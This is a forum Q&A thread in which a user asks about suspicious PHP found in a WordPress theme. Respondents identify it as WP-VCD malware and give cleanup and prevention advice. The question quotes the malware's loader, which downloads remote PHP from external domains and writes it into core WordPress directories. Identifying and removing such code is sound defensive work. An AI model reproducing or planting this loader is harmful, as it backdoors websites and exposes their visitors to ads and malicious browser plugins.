2

I have code like below in neve theme WordPress. I feel suspicious about this code

$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
        if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }

            }
        }


        elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }

            }
        } 

                elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  • It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains. – ceejayoz Apr 3 '19 at 19:15
  • That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)? – butlerblog Apr 4 '19 at 16:14
  • @butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon. – ceejayoz Apr 4 '19 at 17:44
  • I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't. – butlerblog Apr 4 '19 at 18:54
8

I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.

So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:

  • changing all passwords (WP admins, FTP, hosting, database)
  • reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
  • checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).

There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.

| improve this answer | |
  • These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases? – jsmod Apr 3 '19 at 18:14
  • 1
    There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected. – Rick Hellewell Apr 3 '19 at 19:07
  • 1
    I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help. – Rick Hellewell Apr 3 '19 at 19:14
  • Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app? – jsmod Apr 3 '19 at 19:27
  • 1
    Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections. – Rick Hellewell Apr 3 '19 at 19:57
2

Looks like wp-vcd malware to me. There's lot's of info out there about that, it's most common in nulled themes (i.e., a premium theme that you didn't want to pay for and instead downloaded a free copy of from a sketchy site). If you are using such a theme, I suggest deleting it, and paying the actual developer for the legitimate copy of the theme that won't include malware, or choosing another theme that fits your budget without the malware.

https://www.google.com/search?q=%22darors%22+wp-vcd

| improve this answer | |
  • Yes, this is the WP-VCD malware. See this WordFence whitepaper for more information: wordfence.com/wp-content/uploads/2019/11/… The malware is bad, as it affects the users of the website and attempts to trick them into installing a malicious browser plugin. – Jesper May 17 at 15:22
1

Yes, most probably yes.

It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.

| improve this answer | |
  • Thanks for confirming I saw this in my client ..have to warn him about that. – Latheesh V M Villa Apr 3 '19 at 16:56
0

That's a possibility.

Although, I think it is a mechanism to push theme updates only for sites with a valid license key.

Alternatively, it is backdoor for deleting theme for any compromised key.

It is difficult to say anything for sure without looking at the content which is downloaded.

| improve this answer | |
0

I can confirm that that is a malware to show ads to your users.

There are 3 files in wp-include folder:

'wp-feed.php',
'wp-tmp.php',
'wp-vcd.php',

and also in theme functions.php and other files. Use phpstorm to safe delete and searcg in comments to see in how many files you have that. Here is a blog about that https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/

The cause of this can be from infected theme files. Check also your plugins against vulnerable plugins list https://wpvulndb.com/

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.